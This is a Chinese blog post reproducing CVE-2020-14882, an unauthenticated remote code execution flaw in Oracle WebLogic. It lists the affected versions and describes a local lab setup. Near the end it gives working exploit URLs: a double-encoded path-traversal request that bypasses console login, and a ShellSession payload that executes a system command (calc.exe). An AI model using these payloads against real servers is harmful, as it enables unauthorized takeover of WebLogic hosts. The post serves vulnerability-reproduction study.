CVE-2020-14882 | Weblogic未授权命令执行漏洞复现

最新推荐文章于 2025-06-13 10:16:03 发布

大碗宽面大又圆

最新推荐文章于 2025-06-13 10:16:03 发布

阅读量1.4k

点赞数

CC 4.0 BY-SA版权

分类专栏：漏洞复现文章标签：安全 weblogic

本文链接：https://blog.youkuaiyun.com/AzVoidSUN/article/details/109483162

漏洞复现专栏收录该内容

6 篇文章

订阅专栏

公开的POC允许未认证攻击者通过特殊HTTP GET请求利用WebLogic Server的远程代码执行漏洞(CVE-2020-14882)。受影响版本包括10.3.6.0至14.1.1.0。该漏洞危害极大，可被用来执行任意代码。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

漏洞说明

远程代码执行漏洞（CVE-2020-14882）POC 已被公开，未经身份验证的远程攻击者可通过构造特殊的 HTTP GET 请求，结合 CVE-2020-14883 漏洞进行利用，利用此漏洞可在未经身份验证的情况下直接接管 WebLogic Server Console ，并执行任意代码，利用门槛低，危害巨大

存在版本

Oracle WebLogic Server版本：10.3.6.0，12.1.3.0，12.2.1.3，12.2.1.4，14.1.1.0。均存在此漏洞。

环境安装

首先电脑已安装好的jdk \bin目录下然后java -jar 执行你的jar包就可以了
在这里插入图片描述
安装好后，点击红圈圈处，开始运行

输入账户名和密码在这里插入图片描述

访问后台看到环境已经搭建好了。

实战操作

在这里插入图片描述
构造poc ，未授权访问后台地址http://127.0.0.1:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29

弹出计算器
http://127.0.0.1:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22)